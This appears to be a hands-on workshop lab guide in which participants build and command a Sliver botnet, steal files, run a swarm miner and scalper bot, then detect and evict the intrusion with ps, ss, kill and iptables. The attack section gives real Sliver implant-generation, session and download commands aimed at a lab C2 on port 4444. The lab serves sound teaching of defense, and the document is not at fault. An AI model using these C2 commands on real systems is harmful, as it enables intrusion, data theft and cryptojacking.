Over the next 20 minutes you'll build a botnet, command it, and then turn around and defeat it — you play both sides against the same machines. It runs in three acts:
🔒 This is a controlled, authorized exercise. The exact skills you build attacking here are the ones defenders use every day — the whole point is to understand the attacker well enough to beat them.
📋 Copy-paste: click any command to copy it, then paste into your terminal with
right-click → Paste (or Shift+Insert). Ctrl+Shift+V may not be bound.
This lab uses your terminal two ways:
sessions, generate, use, …) — you
type these into your Sliver console (prompt looks like sliver >), which
you start with sliver-client.ssh. Run these in a
plain terminal (a normal $ prompt), not inside the Sliver console.🖥️ Keep TWO terminals open side by side. One runs sliver-client
— that's your Sliver console (sliver > prompt). The other is a
plain shell (normal $ prompt). Any command tagged
⌨ PLAIN TERMINAL goes in the plain shell — if you paste an
ssh command into the Sliver console you'll get unknown command "ssh".
Every ssh line reads the same way. Here's ssh -t nuc example-command, part by part:
ssh -t nuc example-command │ │ │ └─ what to run — the mission itself │ │ └────── your lab: a saved shortcut for "you, on the lab server" │ └────────── give me a live screen, so the display animates └─────────────── connect securely to the lab server
lab-scan or lab-mine, goes here). The server already knows which lab
is yours, so you never pass a number.Compromise the network, harvest it, and put the swarm to work. You're the operator.
You've gained a foothold. Out there sit a handful of machines — quiet, idle, waiting. Open a terminal and connect to your command-and-control server:
sliver-client
You drop straight into your private Sliver console. Every command below runs here unless it says otherwise.
Who's already yours? Ask the C2 for its live agents.
sessions
Nothing yet — an empty throne room. Time to change that.
Your bots need somewhere to phone home — and your C2's encrypted HTTPS channel is already up and listening, pre-positioned for you. Confirm it's live:
jobs
You should see an https job on port 4444 — your dead-drop is live. (Odd port, isn't it? Remember that.)
Now you build the actual malware. generate compiles a brand-new implant — a
small program (a RAT, or "Remote Access Trojan") that, once it's running on a victim machine,
quietly opens a connection back to your C2 server and waits for your orders. Sliver bakes a
fresh, scrambled binary every time, so no two implants look alike.
generate --http https://c2:4444 --os linux --arch amd64 --save implants/implant
Piece by piece — what each part of the command is asking for:
generate --http https://c2:4444 --os linux --arch amd64 --save implants/implant │ │ │ │ └─ write the finished binary here │ │ │ └─────────────── for a 64-bit Intel/AMD CPU │ │ └─────────────────────────── built to run on Linux │ └─────────────────────────────────────────────────── how it phones home: HTTPS to c2:4444 └───────────────────────────────────────────────────────────── compile a fresh implant
⚠ The host is c2 — lowercase c + the number 2. Clicking the command above copies it right every time. ~40s to build; wait for Implant saved.
You built a weapon in the last step, but right now it's just a file — harmless until it actually runs on a victim. Getting malware onto targets is its own challenge: in the real world attackers do it with phishing emails, booby-trapped downloads, infected USB sticks, or by exploiting a bug in software the victim already runs.
In this lab the target workstations are primed to fetch and run whatever payload you stage — so this single command stands in for that whole delivery + execution step. It takes the implant you just built and pushes it out to the fleet, and each machine runs it:
ssh nuc deploy
The instant a machine runs your implant, it phones home to your C2 on port 4444 — and it's yours. You'll see:
delivering implant 'YOUR_IMPLANT' to the fleet ... [+] 8 targets infected — run 'sessions' in your console to see your botnet
Your implant is out and the machines are calling home. Back in your Sliver console, list them:
sessions
Every bot is a real corporate workstation — stuffed with secrets. Pick one to ride: list your bots, copy a session ID, and take the wheel.
sessions
use <paste a session ID>
Snoop like an intruder. Who lives here, and what did they leave lying around?
ls /home
ls /home/mchen
cat /home/mchen/Documents/passwords.txt
Finance secrets, payroll PII, and a flag the admin hid in root's home. Find them — then pull them home.
cat /home/mchen/Documents/Q4-Financials-CONFIDENTIAL.csv
ls /root
download /root/.flag.txt lab-loot/flag.txt
Before you unleash the swarm, see what it can reach. A single compromised box can quietly map the whole internal network — every other machine, and the doors left open on them. Turn your bot loose as a scanner:
ssh -t nuc lab-scan
It sweeps its own subnet and reports back what's listening:
NETWORK RECON — sweeping 10.66.N.0/24 … 10.66.N.10 4444/tcp open ← your C2 (odd port!) 10.66.N.20 8000/tcp open ← a web store ──────────────────────────────── 2 hosts up on the network
🔎 This is reconnaissance — step one of how a botnet spreads and picks targets. It just found a store to hit… and your own C2 sitting on port 4444, a port nothing normal uses. File that away for the blue-team half.
Now put the swarm to work on what you found.
Now watch the scalper attack on a real storefront — not the command line. A hyped Vapor Controller just dropped: 5 units, first-come-first-served. Open the shop (opens in a new browser tab):
Round 1 — try to buy one like an honest human.
🛒 This is the attack. Same machinery as GPU, sneaker, concert-ticket, and Grinch bots: software that slams "buy" thousands of times a second clears a limited drop before a human can blink. That's why you can never get one.
Round 2 — the only way to win is to cheat. You can't beat the bots by hand, and you can't do it from the web page either — winning takes a bot, and you deploy bots from your terminal. Arm your buy-bot so it camps the endpoint and fires the instant the drop opens:
ssh -t nuc lab-scalp-win
Your pre-positioned bot grabs unit #1 before any human could react; the rest of the swarm scoops up what's left:
VAPOR CONTROLLER DROP — 5 units
#1 🏆 YOU (your bot) 3 ms
#2 🤖 bot 47 ms
#3 🤖 bot 58 ms
─────────────────────────────
🏆 YOU WON a controller — your bot was already there.
🏆 Sit with that: the only way you got a Vapor Controller was by becoming a scalper yourself — deploying a bot from the command line. That's the whole broken economy of hyped drops.
The finale. Turn every bot into a crypto miner and put the whole swarm to work burning someone else's electricity. Fire it from a second terminal tab — leave it running while you move on to Detect; press Ctrl-C whenever you want to stop it early:
ssh -t nuc lab-mine
Watch the stolen compute climb across your nodes — it runs for 5 minutes (or until you Ctrl-C):
SWARM MINING — 8 nodes (auto-stops in 4:52 · Ctrl-C to stop) bot-1 ████░░░░░░░░ 68 MH/s bot-2 ████░░░░░░░░ 67 MH/s bot-3 ████░░░░░░░░ 69 MH/s bot-4 ████░░░░░░░░ 66 MH/s ──────────────────────────────── TOTAL 538 MH/s
🔥 The lesson — "scorched earth": here it burns for 5 minutes (or until you kill it) and stops. In a real breach it wouldn't. A real miner runs relentlessly — throttled just low enough to go unnoticed, draining the victim's power and grinding their hardware for weeks, until a human finds it and kills it. Persistent, parasitic, invisible until you go looking.
That hidden, relentless miner — and the odd port your bots phone home on — are exactly what the Detect stage hands you to hunt down next. →
Flip sides. Everything you just did left traces on the machines. Get onto one and find them.
The commands below run at the workstation's own shell prompt (a #), not
ssh -t nuc ….
Your monitoring flagged one workstation — mchen's PC — running hot and slow. Drop onto it and take a look for yourself.
🖥️ Open a THIRD terminal tab for this. Leave lab-mine running in
the second tab so the swarm keeps burning CPU while you hunt it — don't Ctrl-C the miner to make room.
ssh -t nuc defend
You now have a real shell on the compromised machine — the prompt turns into a
#. Everything below runs here. Type exit when you're done on the box.
The classic symptom of a mining compromise is a machine that suddenly runs hot, loud, and sluggish — because something is secretly maxing out the processor to mine cryptocurrency for the attacker. Let's catch it. This lists every running program and sorts them so the biggest CPU hog is on top:
ps -eo pid,pcpu,args --sort=-pcpu | head
Read the output left to right — you'll see something like this:
PID %CPU COMMAND 1286 39.1 sh -c ' while :; do i=0; while [ "$i" -lt 200000 ]; do i=$((i+1)); done; done ' ← 🚩 1 0.0 /sbin/init 657 0.0 sh 712 0.0 sleep 30
How to pick out the bad one:
while :; do … done that just adds 1 to a number forever. That does
zero useful work; its only purpose is to burn CPU. That's the cryptominer.🔎 Notice you caught it by what it does — pegging the CPU — not by its name. Write down the number in the first column: that's its PID (process ID). You'll hand that exact number to the kill command on the Defend side to stop the miner. ↓ Next: find out who this machine is talking to.
Compromised boxes phone home. List this machine's live outbound connections:
ss -tnp
🚩 There's an established connection to port 4444 — a port no normal app uses.
ss even names the process holding it: users:(("i",pid=1)). That's the
C2 beacon — the implant reporting back to its server. The odd port is the giveaway.
Two clues, one culprit. Pull the process list and connect them:
ps aux
The odd little process (i) holding the :4444 beacon is the
implant — the RAT you deployed in Section 1. The miner is its handiwork. You've found the intrusion:
a beacon on a strange port, and a miner it launched.
🎭 Notice you didn't catch it by its name — i tells you nothing;
the attacker made sure of that. You caught it by its behavior: pinned CPU and a live
connection heading out. That's the tell you can always trust.
Before cleaning up, scope the damage — what did the intruder have their hands on?
ls -la /home/mchen
cat /root/.flag.txt
The same secrets you exfiltrated as the attacker — now seen from the victim's side. You've detected the whole break-in: entry, C2 beacon, miner, and stolen data. Section 3 — Defend is next: evict the malware and prove the box is clean. →
You found it: a miner burning the CPU, and a C2 beacon on an odd port. Now clean the machine.
Stay in the same shell you've been hunting in (the # prompt).
Stop the bleeding first. Kill the miner using the PID you noted back in Detect (that
first-column number). Forgot it? Re-run ps -eo pid,pcpu,args --sort=-pcpu | head and grab
the PID of the ~40% process again. Then kill it — paste its PID after the command:
kill -9 <the miner's PID>
Confirm it worked — run the same check and look at the %CPU column:
ps -eo pid,pcpu,args --sort=-pcpu | head
The 40% CPU hog is gone — everything's back near 0.0. The stolen compute stops. But the box is still infected — the implant is still phoning home. Cut that next.
The implant beacons out to its server on port 4444. Add a firewall rule that drops any traffic to that port — severing the channel without taking the machine down:
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
What each piece does: -A OUTPUT append to the outbound chain ·
-p tcp --dport 4444 match TCP headed for port 4444 · -j DROP silently
discard it. The beacon's packets now go nowhere.
Never trust — verify. List your firewall rules to confirm the block is live:
iptables -L OUTPUT --line-numbers
🛡️ You'll see your DROP rule on dpt:4444. The implant can't reach its server anymore — back on the attacker's C2, this bot goes dark. Miner dead, C2 cut, machine still up. You've evicted the intrusion.
You cleaned this box — that's reactive defense, after the break-in. Leave
the box (exit); next you'll stop an attack before it lands.
(Undo the firewall rule anytime with iptables -D OUTPUT 1.)
Killing the miner and cutting the C2 were reactive — you were mopping up after a break-in that already happened. The best defense stops the attack from working in the first place. So let's go back to the Vapor Controller shop — the drop the scalper bots snatched out from under you in Section 1, where you couldn't win no matter how fast you clicked — and fix it so the bots can't win either.
Why did the bots win before? Because buying was a single, instant click they could fire thousands of times a second, and raw speed always beats a human hand. So don't try to out-race them — change the rules of checkout. This command switches on a queue, a virtual waiting-room: now, to buy, you first have to take a numbered ticket and wait your turn for a moment before the store will accept the purchase. It's the same trick Steam, Ticketmaster, and every big drop use.
ssh -t nuc lab-harden
🛡️ Sit with why this works. A scalper bot is built to do one thing as fast as possible — spam "buy." It never pauses to take a ticket and wait its turn, so the store just turns it away at the door. A real person waits naturally, so a person gets through. You didn't block one bot by name or address; you simply required a bit of behavior that only a real customer bothers with. Next, prove it works. ↓
Time to prove the fix. Turn the same scalper swarm loose on the shop again — the exact bot flood that shut you out of the drop back in Section 1 — only this time the store's queue is up. Fire it from your terminal and watch the outcome flip:
ssh -t nuc lab-scalp
VAPOR CONTROLLER DROP — 5 units #1 🧑 YOU (human) 0 ms ───────────────────────────── 🛡 the queue turned the flood away — bots that got through: 0 🏆 YOU got one. The store fought back, and a human finally won.
🏆 Same bots, same flood — but the queue turned them all away, and a human finally won. That's the arms race behind every hyped drop: raw speed loses to a defense that asks for something only a real customer can do.
You beat the bots — but notice how. You didn't ban a single one. Why not? ↓
Tempting answer: you saw the bots' names in the scoreboard — why not just block their IP addresses and be done? Because against a botnet, there's no fixed set of bad IPs to ban. Block one and the attacker just uses another — a botnet's whole point is an endless, rotating pool of machines. You'd be banning forever and always one step behind.
That's why the queue worked and a ban list wouldn't. Banning asks "who is it?" — and the attacker answers by simply being someone else on the next request, which costs them nothing. The queue asks "can you behave like a real customer?" — take a ticket, wait your turn — and that is expensive to fake at scale, because it costs real, human-speed effort on every single purchase.
🧠 The rule of thumb: against a distributed attacker, defend on behavior, not identity. Who they are is cheap for them to change; how a human acts is not.
🏁 That's the whole lab — attack → detect → defend, on the same machines, by the same person. And one idea 🎭 ran through all of it: in Section 1 you changed what you looked like — odd ports, a nameless implant — and Sections 2 and 3 proved it didn't matter. Identity is cheap to change; behavior isn't. That's the whole game, on offense and defense.
🔗 The real tools — go deeper. None of this is magic or a secret in-house hack; the whole lab is built from public, open-source tools that professional red teams and defenders use for real. Want to dig deeper or build your own lab? Start here:
🌐 These live on the public internet, so they may not open from the lab network — bookmark or photograph them to explore later. (The victim workstations, the "store", and the scalper bots are custom pieces we built for this workshop.)